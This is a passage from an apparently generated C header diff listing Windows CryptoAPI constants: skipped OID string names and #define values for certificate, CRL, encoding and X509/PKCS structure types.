SKIPPED const szOID_PKCS_12: non-integer constant +// SKIPPED const szOID_RSA_RSA: non-integer constant +// SKIPPED const szOID_RSA_MD2RSA: non-integer constant +// SKIPPED const szOID_RSA_MD4RSA: non-integer constant +// SKIPPED const szOID_RSA_MD5RSA: non-integer constant +// SKIPPED const szOID_RSA_SHA1RSA: non-integer constant +// SKIPPED const szOID_RSA_SETOAEP_RSA: non-integer constant +// SKIPPED const szOID_RSAES_OAEP: non-integer constant +// SKIPPED const szOID_RSA_MGF1: non-integer constant +// SKIPPED const szOID_RSA_PSPECIFIED: non-integer constant +// SKIPPED const szOID_RSA_SSA_PSS: non-integer constant +// SKIPPED const szOID_RSA_SHA256RSA: non-integer constant +// SKIPPED const szOID_RSA_SHA384RSA: non-integer constant +// SKIPPED const szOID_RSA_SHA512RSA: non-integer constant +// SKIPPED const szOID_RSA_DH: non-integer constant +// SKIPPED const szOID_RSA_data: non-integer constant +// SKIPPED const szOID_RSA_signedData: non-integer constant +// SKIPPED const szOID_RSA_envelopedData: non-integer constant +// SKIPPED const szOID_RSA_signEnvData: non-integer constant +// SKIPPED const szOID_RSA_digestedData: non-integer constant +// SKIPPED const szOID_RSA_hashedData: non-integer constant +// SKIPPED const szOID_RSA_encryptedData: non-integer constant +// SKIPPED const szOID_RSA_emailAddr: non-integer constant +// SKIPPED const szOID_RSA_unstructName: non-integer constant +// SKIPPED const szOID_RSA_contentType: non-integer constant +// SKIPPED const szOID_RSA_messageDigest: non-integer constant +// SKIPPED const szOID_RSA_signingTime: non-integer constant +// SKIPPED const szOID_RSA_counterSign: non-integer constant +// SKIPPED const szOID_RSA_challengePwd: non-integer constant +// SKIPPED const szOID_RSA_unstructAddr: non-integer constant +// SKIPPED const szOID_RSA_extCertAttrs: non-integer constant +// SKIPPED const szOID_RSA_certExtensions: non-integer constant +// SKIPPED const szOID_RSA_SMIMECapabilities: non-integer constant +// SKIPPED const szOID_RSA_preferSignedData: non-integer constant +// SKIPPED const szOID_TIMESTAMP_TOKEN: non-integer constant +// SKIPPED const szOID_RFC3161_counterSign: non-integer constant +// SKIPPED const szOID_RFC3161v21_counterSign: non-integer constant +// SKIPPED const szOID_RFC3161v21_thumbprints: non-integer constant +// SKIPPED const szOID_RSA_SMIMEalg: non-integer constant +// SKIPPED const szOID_RSA_SMIMEalgESDH: non-integer constant +// SKIPPED const szOID_RSA_SMIMEalgCMS3DESwrap: non-integer constant +// SKIPPED const szOID_RSA_SMIMEalgCMSRC2wrap: non-integer constant +// SKIPPED const szOID_RSA_MD2: non-integer constant +// SKIPPED const szOID_RSA_MD4: non-integer constant +// SKIPPED const szOID_RSA_MD5: non-integer constant +// SKIPPED const szOID_RSA_RC2CBC: non-integer constant +// SKIPPED const szOID_RSA_RC4: non-integer constant +// SKIPPED const szOID_RSA_DES_EDE3_CBC: non-integer constant +// SKIPPED const szOID_RSA_RC5_CBCPad: non-integer constant +// SKIPPED const szOID_ANSI_X942: non-integer constant +// SKIPPED const szOID_ANSI_X942_DH: non-integer constant +// SKIPPED const szOID_X957: non-integer constant +// SKIPPED const szOID_X957_DSA: non-integer constant +// SKIPPED const szOID_X957_SHA1DSA: non-integer constant +// SKIPPED const szOID_ECC_PUBLIC_KEY: non-integer constant +// SKIPPED const szOID_ECC_CURVE_P256: non-integer constant +// SKIPPED const szOID_ECC_CURVE_P384: non-integer constant +// SKIPPED const szOID_ECC_CURVE_P521: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP160R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP160T1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP192R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP192T1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP224R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP224T1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP256R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP256T1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP320R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP320T1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP384R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP384T1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP512R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_BRAINPOOLP512T1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_EC192WAPI: non-integer constant +// SKIPPED const szOID_CN_ECDSA_SHA256: non-integer constant +// SKIPPED const szOID_ECC_CURVE_NISTP192: non-integer constant +// SKIPPED const szOID_ECC_CURVE_NISTP224: non-integer constant +// SKIPPED const szOID_ECC_CURVE_NISTP256: non-integer constant +// SKIPPED const szOID_ECC_CURVE_NISTP384: non-integer constant +// SKIPPED const szOID_ECC_CURVE_NISTP521: non-integer constant +// SKIPPED const szOID_ECC_CURVE_SECP160K1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_SECP160R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_SECP160R2: non-integer constant +// SKIPPED const szOID_ECC_CURVE_SECP192K1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_SECP192R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_SECP224K1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_SECP224R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_SECP256K1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_SECP256R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_SECP384R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_SECP521R1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_WTLS7: non-integer constant +// SKIPPED const szOID_ECC_CURVE_WTLS9: non-integer constant +// SKIPPED const szOID_ECC_CURVE_WTLS12: non-integer constant +// SKIPPED const szOID_ECC_CURVE_X962P192V1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_X962P192V2: non-integer constant +// SKIPPED const szOID_ECC_CURVE_X962P192V3: non-integer constant +// SKIPPED const szOID_ECC_CURVE_X962P239V1: non-integer constant +// SKIPPED const szOID_ECC_CURVE_X962P239V2: non-integer constant +// SKIPPED const szOID_ECC_CURVE_X962P239V3: non-integer constant +// SKIPPED const szOID_ECC_CURVE_X962P256V1: non-integer constant +// SKIPPED const szOID_ECDSA_SHA1: non-integer constant +// SKIPPED const szOID_ECDSA_SPECIFIED: non-integer constant +// SKIPPED const szOID_ECDSA_SHA256: non-integer constant +// SKIPPED const szOID_ECDSA_SHA384: non-integer constant +// SKIPPED const szOID_ECDSA_SHA512: non-integer constant +// SKIPPED const szOID_NIST_AES128_CBC: non-integer constant +// SKIPPED const szOID_NIST_AES192_CBC: non-integer constant +// SKIPPED const szOID_NIST_AES256_CBC: non-integer constant +// SKIPPED const szOID_NIST_AES128_WRAP: non-integer constant +// SKIPPED const szOID_NIST_AES192_WRAP: non-integer constant +// SKIPPED const szOID_NIST_AES256_WRAP: non-integer constant +// SKIPPED const szOID_DH_SINGLE_PASS_STDDH_SHA1_KDF: non-integer constant +// SKIPPED const szOID_DH_SINGLE_PASS_STDDH_SHA256_KDF: non-integer constant +// SKIPPED const szOID_DH_SINGLE_PASS_STDDH_SHA384_KDF: non-integer constant +// SKIPPED const szOID_DS: non-integer constant +// SKIPPED const szOID_DSALG: non-integer constant +// SKIPPED const szOID_DSALG_CRPT: non-integer constant +// SKIPPED const szOID_DSALG_HASH: non-integer constant +// SKIPPED const szOID_DSALG_SIGN: non-integer constant +// SKIPPED const szOID_DSALG_RSA: non-integer constant +// SKIPPED const szOID_OIW: non-integer constant +// SKIPPED const szOID_OIWSEC: non-integer constant +// SKIPPED const szOID_OIWSEC_md4RSA: non-integer constant +// SKIPPED const szOID_OIWSEC_md5RSA: non-integer constant +// SKIPPED const szOID_OIWSEC_md4RSA2: non-integer constant +// SKIPPED const szOID_OIWSEC_desECB: non-integer constant +// SKIPPED const szOID_OIWSEC_desCBC: non-integer constant +// SKIPPED const szOID_OIWSEC_desOFB: non-integer constant +// SKIPPED const szOID_OIWSEC_desCFB: non-integer constant +// SKIPPED const szOID_OIWSEC_desMAC: non-integer constant +// SKIPPED const szOID_OIWSEC_rsaSign: non-integer constant +// SKIPPED const szOID_OIWSEC_dsa: non-integer constant +// SKIPPED const szOID_OIWSEC_shaDSA: non-integer constant +// SKIPPED const szOID_OIWSEC_mdc2RSA: non-integer constant +// SKIPPED const szOID_OIWSEC_shaRSA: non-integer constant +// SKIPPED const szOID_OIWSEC_dhCommMod: non-integer constant +// SKIPPED const szOID_OIWSEC_desEDE: non-integer constant +// SKIPPED const szOID_OIWSEC_sha: non-integer constant +// SKIPPED const szOID_OIWSEC_mdc2: non-integer constant +// SKIPPED const szOID_OIWSEC_dsaComm: non-integer constant +// SKIPPED const szOID_OIWSEC_dsaCommSHA: non-integer constant +// SKIPPED const szOID_OIWSEC_rsaXchg: non-integer constant +// SKIPPED const szOID_OIWSEC_keyHashSeal: non-integer constant +// SKIPPED const szOID_OIWSEC_md2RSASign: non-integer constant +// SKIPPED const szOID_OIWSEC_md5RSASign: non-integer constant +// SKIPPED const szOID_OIWSEC_sha1: non-integer constant +// SKIPPED const szOID_OIWSEC_dsaSHA1: non-integer constant +// SKIPPED const szOID_OIWSEC_dsaCommSHA1: non-integer constant +// SKIPPED const szOID_OIWSEC_sha1RSASign: non-integer constant +// SKIPPED const szOID_OIWDIR: non-integer constant +// SKIPPED const szOID_OIWDIR_CRPT: non-integer constant +// SKIPPED const szOID_OIWDIR_HASH: non-integer constant +// SKIPPED const szOID_OIWDIR_SIGN: non-integer constant +// SKIPPED const szOID_OIWDIR_md2: non-integer constant +// SKIPPED const szOID_OIWDIR_md2RSA: non-integer constant +// SKIPPED const szOID_INFOSEC: non-integer constant +// SKIPPED const szOID_INFOSEC_sdnsSignature: non-integer constant +// SKIPPED const szOID_INFOSEC_mosaicSignature: non-integer constant +// SKIPPED const szOID_INFOSEC_sdnsConfidentiality: non-integer constant +// SKIPPED const szOID_INFOSEC_mosaicConfidentiality: non-integer constant +// SKIPPED const szOID_INFOSEC_sdnsIntegrity: non-integer constant +// SKIPPED const szOID_INFOSEC_mosaicIntegrity: non-integer constant +// SKIPPED const szOID_INFOSEC_sdnsTokenProtection: non-integer constant +// SKIPPED const szOID_INFOSEC_mosaicTokenProtection: non-integer constant +// SKIPPED const szOID_INFOSEC_sdnsKeyManagement: non-integer constant +// SKIPPED const szOID_INFOSEC_mosaicKeyManagement: non-integer constant +// SKIPPED const szOID_INFOSEC_sdnsKMandSig: non-integer constant +// SKIPPED const szOID_INFOSEC_mosaicKMandSig: non-integer constant +// SKIPPED const szOID_INFOSEC_SuiteASignature: non-integer constant +// SKIPPED const szOID_INFOSEC_SuiteAConfidentiality: non-integer constant +// SKIPPED const szOID_INFOSEC_SuiteAIntegrity: non-integer constant +// SKIPPED const szOID_INFOSEC_SuiteATokenProtection: non-integer constant +// SKIPPED const szOID_INFOSEC_SuiteAKeyManagement: non-integer constant +// SKIPPED const szOID_INFOSEC_SuiteAKMandSig: non-integer constant +// SKIPPED const szOID_INFOSEC_mosaicUpdatedSig: non-integer constant +// SKIPPED const szOID_INFOSEC_mosaicKMandUpdSig: non-integer constant +// SKIPPED const szOID_INFOSEC_mosaicUpdatedInteg: non-integer constant +// SKIPPED const szOID_NIST_sha256: non-integer constant +// SKIPPED const szOID_NIST_sha384: non-integer constant +// SKIPPED const szOID_NIST_sha512: non-integer constant +// SKIPPED const szOID_NIST_shake128: non-integer constant +// SKIPPED const szOID_NIST_shake256: non-integer constant +// SKIPPED const szOID_NIST_ml_dsa_44: non-integer constant +// SKIPPED const szOID_NIST_ml_dsa_65: non-integer constant +// SKIPPED const szOID_NIST_ml_dsa_87: non-integer constant +// SKIPPED const szOID_NIST_hash_ml_dsa_44_with_sha512: non-integer constant +// SKIPPED const szOID_NIST_hash_ml_dsa_65_with_sha512: non-integer constant +// SKIPPED const szOID_NIST_hash_ml_dsa_87_with_sha512: non-integer constant +// SKIPPED const szOID_NIST_ml_kem_512: non-integer constant +// SKIPPED const szOID_NIST_ml_kem_768: non-integer constant +// SKIPPED const szOID_NIST_ml_kem_1024: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_sha2_128s: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_sha2_128f: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_sha2_192s: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_sha2_192f: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_sha2_256s: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_sha2_256f: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_shake_128s: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_shake_128f: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_shake_192s: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_shake_192f: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_shake_256s: non-integer constant +// SKIPPED const szOID_NIST_slh_dsa_shake_256f: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_sha2_128s_with_sha256: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_sha2_128f_with_sha256: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_sha2_192s_with_sha512: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_sha2_192f_with_sha512: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_sha2_256s_with_sha512: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_sha2_256f_with_sha512: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_shake_128s_with_shake128: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_shake_128f_with_shake128: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_shake_192s_with_shake256: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_shake_192f_with_shake256: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_shake_256s_with_shake256: non-integer constant +// SKIPPED const szOID_NIST_hash_slh_dsa_shake_256f_with_shake256: non-integer constant +// SKIPPED const szOID_COMMON_NAME: non-integer constant +// SKIPPED const szOID_SUR_NAME: non-integer constant +// SKIPPED const szOID_DEVICE_SERIAL_NUMBER: non-integer constant +// SKIPPED const szOID_COUNTRY_NAME: non-integer constant +// SKIPPED const szOID_LOCALITY_NAME: non-integer constant +// SKIPPED const szOID_STATE_OR_PROVINCE_NAME: non-integer constant +// SKIPPED const szOID_STREET_ADDRESS: non-integer constant +// SKIPPED const szOID_ORGANIZATION_NAME: non-integer constant +// SKIPPED const szOID_ORGANIZATIONAL_UNIT_NAME: non-integer constant +// SKIPPED const szOID_TITLE: non-integer constant +// SKIPPED const szOID_DESCRIPTION: non-integer constant +// SKIPPED const szOID_SEARCH_GUIDE: non-integer constant +// SKIPPED const szOID_BUSINESS_CATEGORY: non-integer constant +// SKIPPED const szOID_POSTAL_ADDRESS: non-integer constant +// SKIPPED const szOID_POSTAL_CODE: non-integer constant +// SKIPPED const szOID_POST_OFFICE_BOX: non-integer constant +// SKIPPED const szOID_PHYSICAL_DELIVERY_OFFICE_NAME: non-integer constant +// SKIPPED const szOID_TELEPHONE_NUMBER: non-integer constant +// SKIPPED const szOID_TELEX_NUMBER: non-integer constant +// SKIPPED const szOID_TELETEXT_TERMINAL_IDENTIFIER: non-integer constant +// SKIPPED const szOID_FACSIMILE_TELEPHONE_NUMBER: non-integer constant +// SKIPPED const szOID_X21_ADDRESS: non-integer constant +// SKIPPED const szOID_INTERNATIONAL_ISDN_NUMBER: non-integer constant +// SKIPPED const szOID_REGISTERED_ADDRESS: non-integer constant +// SKIPPED const szOID_DESTINATION_INDICATOR: non-integer constant +// SKIPPED const szOID_PREFERRED_DELIVERY_METHOD: non-integer constant +// SKIPPED const szOID_PRESENTATION_ADDRESS: non-integer constant +// SKIPPED const szOID_SUPPORTED_APPLICATION_CONTEXT: non-integer constant +// SKIPPED const szOID_MEMBER: non-integer constant +// SKIPPED const szOID_OWNER: non-integer constant +// SKIPPED const szOID_ROLE_OCCUPANT: non-integer constant +// SKIPPED const szOID_SEE_ALSO: non-integer constant +// SKIPPED const szOID_USER_PASSWORD: non-integer constant +// SKIPPED const szOID_USER_CERTIFICATE: non-integer constant +// SKIPPED const szOID_CA_CERTIFICATE: non-integer constant +// SKIPPED const szOID_AUTHORITY_REVOCATION_LIST: non-integer constant +// SKIPPED const szOID_CERTIFICATE_REVOCATION_LIST: non-integer constant +// SKIPPED const szOID_CROSS_CERTIFICATE_PAIR: non-integer constant +// SKIPPED const szOID_GIVEN_NAME: non-integer constant +// SKIPPED const szOID_INITIALS: non-integer constant +// SKIPPED const szOID_DN_QUALIFIER: non-integer constant +// SKIPPED const szOID_DOMAIN_COMPONENT: non-integer constant +// SKIPPED const szOID_PKCS_12_FRIENDLY_NAME_ATTR: non-integer constant +// SKIPPED const szOID_PKCS_12_LOCAL_KEY_ID: non-integer constant +// SKIPPED const szOID_PKCS_12_KEY_PROVIDER_NAME_ATTR: non-integer constant +// SKIPPED const szOID_LOCAL_MACHINE_KEYSET: non-integer constant +// SKIPPED const szOID_PKCS_12_EXTENDED_ATTRIBUTES: non-integer constant +// SKIPPED const szOID_PKCS_12_PROTECTED_PASSWORD_SECRET_BAG_TYPE_ID: non-integer constant +// SKIPPED const szOID_KEYID_RDN: non-integer constant +// SKIPPED const szOID_EV_RDN_LOCALE: non-integer constant +// SKIPPED const szOID_EV_RDN_STATE_OR_PROVINCE: non-integer constant +// SKIPPED const szOID_EV_RDN_COUNTRY: non-integer constant +#define CERT_RDN_TYPE_MASK 0xff +#define CERT_RDN_FLAGS_MASK 0xff000000 +#define CERT_RDN_ENABLE_T61_UNICODE_FLAG 0x80000000 +#define CERT_RDN_ENABLE_UTF8_UNICODE_FLAG 0x20000000 +#define CERT_RDN_FORCE_UTF8_UNICODE_FLAG 0x10000000 +#define CERT_RDN_DISABLE_CHECK_TYPE_FLAG 0x40000000 +#define CERT_RDN_DISABLE_IE4_UTF8_FLAG 0x1000000 +#define CERT_RDN_ENABLE_PUNYCODE_FLAG 0x2000000 +// SKIPPED const CERT_RSA_PUBLIC_KEY_OBJID: non-integer constant +// SKIPPED const CERT_DEFAULT_OID_PUBLIC_KEY_SIGN: non-integer constant +// SKIPPED const CERT_DEFAULT_OID_PUBLIC_KEY_XCHG: non-integer constant +#define CRYPT_ECC_PRIVATE_KEY_INFO_v1 0x1 +#define CERT_V1 0x0 +#define CERT_V2 0x1 +#define CERT_V3 0x2 +#define CERT_INFO_VERSION_FLAG 0x1 +#define CERT_INFO_SERIAL_NUMBER_FLAG 0x2 +#define CERT_INFO_SIGNATURE_ALGORITHM_FLAG 0x3 +#define CERT_INFO_ISSUER_FLAG 0x4 +#define CERT_INFO_NOT_BEFORE_FLAG 0x5 +#define CERT_INFO_NOT_AFTER_FLAG 0x6 +#define CERT_INFO_SUBJECT_FLAG 0x7 +#define CERT_INFO_SUBJECT_PUBLIC_KEY_INFO_FLAG 0x8 +#define CERT_INFO_ISSUER_UNIQUE_ID_FLAG 0x9 +#define CERT_INFO_SUBJECT_UNIQUE_ID_FLAG 0xa +#define CERT_INFO_EXTENSION_FLAG 0xb +#define CRL_V1 0x0 +#define CRL_V2 0x1 +#define CERT_BUNDLE_CERTIFICATE 0x0 +#define CERT_BUNDLE_CRL 0x1 +#define CERT_REQUEST_V1 0x0 +#define CERT_KEYGEN_REQUEST_V1 0x0 +#define CTL_V1 0x0 +#define CERT_ENCODING_TYPE_MASK 0xffff +#define CMSG_ENCODING_TYPE_MASK 0xffff0000 +#define CRYPT_ASN_ENCODING 0x1 +#define CRYPT_NDR_ENCODING 0x2 +#define X509_NDR_ENCODING 0x2 +#define PKCS_7_NDR_ENCODING 0x20000 +#define CRYPT_FORMAT_STR_MULTI_LINE 0x1 +#define CRYPT_FORMAT_STR_NO_HEX 0x10 +#define CRYPT_FORMAT_SIMPLE 0x1 +#define CRYPT_FORMAT_X509 0x2 +#define CRYPT_FORMAT_OID 0x4 +#define CRYPT_FORMAT_RDN_SEMICOLON 0x100 +#define CRYPT_FORMAT_RDN_CRLF 0x200 +#define CRYPT_FORMAT_RDN_UNQUOTE 0x400 +#define CRYPT_FORMAT_RDN_REVERSE 0x800 +#define CRYPT_FORMAT_COMMA 0x1000 +#define CRYPT_FORMAT_SEMICOLON 0x100 +#define CRYPT_FORMAT_CRLF 0x200 +#define CRYPT_ENCODE_NO_SIGNATURE_BYTE_REVERSAL_FLAG 0x8 +#define CRYPT_UNICODE_NAME_ENCODE_FORCE_UTF8_UNICODE_FLAG 0x10000000 +#define CRYPT_SORTED_CTL_ENCODE_HASHED_SUBJECT_IDENTIFIER_FLAG 0x10000 +#define CRYPT_ENCODE_ENABLE_UTF8PERCENT_FLAG 0x40000 +#define CRYPT_DECODE_NOCOPY_FLAG 0x1 +#define CRYPT_DECODE_TO_BE_SIGNED_FLAG 0x2 +#define CRYPT_DECODE_SHARE_OID_STRING_FLAG 0x4 +#define CRYPT_DECODE_NO_SIGNATURE_BYTE_REVERSAL_FLAG 0x8 +#define CRYPT_DECODE_ALLOC_FLAG 0x8000 +#define CRYPT_UNICODE_NAME_DECODE_DISABLE_IE4_UTF8_FLAG 0x1000000 +#define CRYPT_DECODE_ENABLE_PUNYCODE_FLAG 0x2000000 +#define CRYPT_DECODE_ENABLE_UTF8PERCENT_FLAG 0x4000000 +#define CRYPT_ENCODE_DECODE_NONE 0x0 +#define X509_CERT 1 +#define X509_CERT_TO_BE_SIGNED 2 +#define X509_CERT_CRL_TO_BE_SIGNED 3 +#define X509_CERT_REQUEST_TO_BE_SIGNED 4 +#define X509_NAME_VALUE 6 +#define X509_PUBLIC_KEY_INFO 8 +#define X509_EXTENSIONS 5 +#define X509_NAME 7 +#define WINCRYPT_X509_EXTENSIONS 5 +#define WINCRYPT_X509_NAME 7 +#define X509_AUTHORITY_KEY_ID 9 +#define X509_KEY_ATTRIBUTES 10 +#define X509_KEY_USAGE_RESTRICTION 11 +#define X509_ALTERNATE_NAME 12 +#define X509_BASIC_CONSTRAINTS 13 +#define X509_KEY_USAGE 14 +#define X509_BASIC_CONSTRAINTS2 15 +#define X509_CERT_POLICIES 16 +#define PKCS_UTC_TIME 17 +#define PKCS_TIME_REQUEST 18 +#define RSA_CSP_PUBLICKEYBLOB 19 +#define X509_UNICODE_NAME 20 +#define X509_KEYGEN_REQUEST_TO_BE_SIGNED 21 +#define PKCS_ATTRIBUTE 22 +#define PKCS_CONTENT_INFO_SEQUENCE_OF_ANY 23 +#define X509_UNICODE_NAME_VALUE 24 +#define X509_ANY_STRING 6 +#define X509_UNICODE_ANY_STRING 24 +#define X509_OCTET_STRING 25 +#define X509_BITS 26 +#define X509_INTEGER 27 +#define X509_MULTI_BYTE_INTEGER 28 +#define X509_ENUMERATED 29 +#define X509_CHOICE_OF_TIME 30 +#define X509_AUTHORITY_KEY_ID2 31 +#define X509_AUTHORITY_INFO_ACCESS 32 +#define X509_SUBJECT_INFO_ACCESS 32 +#define X509_CRL_REASON_CODE 29 +#define PKCS_CONTENT_INFO 33 +#define X509_SEQUENCE_OF_ANY 34 +#define X509_CRL_DIST_POINTS 35 +#define X509_ENHANCED_KEY_USAGE 36 +#define PKCS_CTL 37 +#define X509_MULTI_BYTE_UINT 38 +#define X509_DSS_PUBLICKEY 38 +#define X509_DSS_PARAMETERS 39 +#define X509_DSS_SIGNATURE 40 +#define PKCS_RC2_CBC_PARAMETERS 41 +#define PKCS_SMIME_CAPABILITIES 42 +#define X509_QC_STATEMENTS_EXT 42 +#define PKCS_RSA_PRIVATE_KEY 43 +#define PKCS_PRIVATE_KEY_INFO 44 +#define PKCS_ENCRYPTED_PRIVATE_KEY_INFO 45 +#define X509_PKIX_POLICY_QUALIFIER_USERNOTICE 46 +#define X509_DH_PUBLICKEY 38 +#define X509_DH_PARAMETERS 47 +#define PKCS_ATTRIBUTES 48 +#define PKCS_SORTED_CTL 49 +#define X509_ECC_SIGNATURE 47 +#define X942_DH_PARAMETERS 50 +#define X509_BITS_WITHOUT_TRAILING_ZEROES 51 +#define X942_OTHER_INFO 52 +#define X509_CERT_PAIR 53 +#define X509_ISSUING_DIST_POINT 54 +#define X509_NAME_CONSTRAINTS 55 +#define X509_POLICY_MAPPINGS 56 +#define X509_POLICY_CONSTRAINTS 57 +#define X509_CROSS_CERT_DIST_POINTS 58 +#define CMC_DATA 59 +#define CMC_RESPONSE 60 +#define CMC_STATUS 61 +#define CMC_ADD_EXTENSIONS 62 +#define CMC_ADD_ATTRIBUTES 63 +#define X509_CERTIFICATE_TEMPLATE 64 +#define OCSP_SIGNED_REQUEST 65 +#define OCSP_BASIC_SIGNED_RESPONSE 68 +#define OCSP_BASIC_RESPONSE 69 +#define OCSP_REQUEST 66 +#define OCSP_RESPONSE 67 +#define WINCRYPT_OCSP_REQUEST 66 +#define WINCRYPT_OCSP_RESPONSE 67 +#define X509_LOGOTYPE_EXT 70 +#define X509_BIOMETRIC_EXT 71 +#define CNG_RSA_PUBLIC_KEY_BLOB 72 +#define X509_OBJECT_IDENTIFIER 73 +#define X509_ALGORITHM_IDENTIFIER 74 +#define PKCS_RSA_SSA_PSS_PARAMETERS 75 +#define PKCS_RSAES_OAEP_PARAMETERS 76 +#define ECC_CMS_SHARED_INFO 77 +#define TIMESTAMP_REQUEST 78 +#define TIMESTAMP_RESPONSE 79 +#define TIMESTAMP_INFO 80 +#define X509_CERT_BUNDLE 81 +#define X509_ECC_PRIVATE_KEY 82 +#define CNG_RSA_PRIVATE_KEY_BLOB 83 +#define X509_SUBJECT_DIR_ATTRS 84 +#define X509_ECC_PARAMETERS 85 +#define PKCS7_SIGNER_INFO 500 +#define WINCRYPT_PKCS7_SIGNER_INFO 500 +#define CMS_SIGNER_INFO 501 +// SKIPPED const szOID_AUTHORITY_KEY_IDENTIFIER: non-integer constant +// SKIPPED const szOID_KEY_ATTRIBUTES: non-integer constant +// SKIPPED const szOID_CERT_POLICIES_95: non-integer constant +// SKIPPED const szOID_KEY_USAGE_RESTRICTION: non-integer constant +// SKIPPED const szOID_SUBJECT_ALT_NAME: non-integer constant +// SKIPPED const szOID_ISSUER_ALT_NAME: non-integer constant +// SKIPPED const szOID_BASIC_CONSTRAINTS: non-integer constant +// SKIPPED const szOID_KEY_USAGE: non-integer constant +// SKIPPED const szOID_PRIVATEKEY_USAGE_PERIOD: non-integer constant +// SKIPPED const szOID_BASIC_CONSTRAINTS2: non-integer constant +// SKIPPED const szOID_CERT_POLICIES: non-integer constant +// SKIPPED const szOID_ANY_CERT_POLICY: non-integer constant +// SKIPPED const szOID_INHIBIT_ANY_POLICY: non-integer constant +// SKIPPED const szOID_AUTHORITY_KEY_IDENTIFIER2: non-integer constant +// SKIPPED const szOID_SUBJECT_KEY_IDENTIFIER: non-integer constant +// SKIPPED const szOID_SUBJECT_ALT_NAME2: non-integer constant +// SKIPPED const szOID_ISSUER_ALT_NAME2: non-integer constant +// SKIPPED const szOID_CRL_REASON_CODE: non-integer constant +// SKIPPED const szOID_REASON_CODE_HOLD: non-integer constant +// SKIPPED const szOID_CRL_DIST_POINTS: non-integer constant +// SKIPPED const szOID_ENHANCED_KEY_USAGE: non-integer constant +// SKIPPED const szOID_ANY_ENHANCED_KEY_USAGE: non-integer constant +// SKIPPED const szOID_CRL_NUMBER: non-integer constant +// SKIPPED const szOID_DELTA_CRL_INDICATOR: non-integer constant +// SKIPPED const szOID_ISSUING_DIST_POINT: non-integer constant +// SKIPPED const szOID_FRESHEST_CRL: non-integer constant +// SKIPPED const szOID_NAME_CONSTRAINTS: non-integer constant +// SKIPPED const szOID_POLICY_MAPPINGS: non-integer constant +// SKIPPED const szOID_LEGACY_POLICY_MAPPINGS: non-integer constant +// SKIPPED const szOID_POLICY_CONSTRAINTS: non-integer constant +// SKIPPED const szOID_RENEWAL_CERTIFICATE: non-integer constant +// SKIPPED const szOID_ENROLLMENT_NAME_VALUE_PAIR: non-integer constant +// SKIPPED const szOID_ENROLLMENT_CSP_PROVIDER: non-integer constant +// SKIPPED const szOID_OS_VERSION: non-integer constant +// SKIPPED const szOID_ENROLLMENT_AGENT: non-integer constant +// SKIPPED const szOID_PKIX: non-integer constant +// SKIPPED const szOID_PKIX_PE: non-integer constant +// SKIPPED const szOID_AUTHORITY_INFO_ACCESS: non-integer constant +// SKIPPED const szOID_SUBJECT_INFO_ACCESS: non-integer constant +// SKIPPED const szOID_BIOMETRIC_EXT: non-integer constant +// SKIPPED const szOID_QC_STATEMENTS_EXT: non-integer constant +// SKIPPED const szOID_LOGOTYPE_EXT: non-integer constant +// SKIPPED const szOID_TLS_FEATURES_EXT: non-integer constant +// SKIPPED const szOID_CERT_EXTENSIONS: non-integer constant +// SKIPPED const szOID_NEXT_UPDATE_LOCATION: non-integer constant +// SKIPPED const szOID_REMOVE_CERTIFICATE: non-integer constant +// SKIPPED const szOID_CROSS_CERT_DIST_POINTS: non-integer constant +// SKIPPED const szOID_CTL: non-integer constant +// SKIPPED const szOID_SORTED_CTL: non-integer constant +// SKIPPED const szOID_SERIALIZED: non-integer constant +// SKIPPED const szOID_NT_PRINCIPAL_NAME: non-integer constant +// SKIPPED const szOID_INTERNATIONALIZED_EMAIL_ADDRESS: non-integer constant +// SKIPPED const szOID_PRODUCT_UPDATE: non-integer constant +// SKIPPED const szOID_ANY_APPLICATION_POLICY: non-integer constant +// SKIPPED const 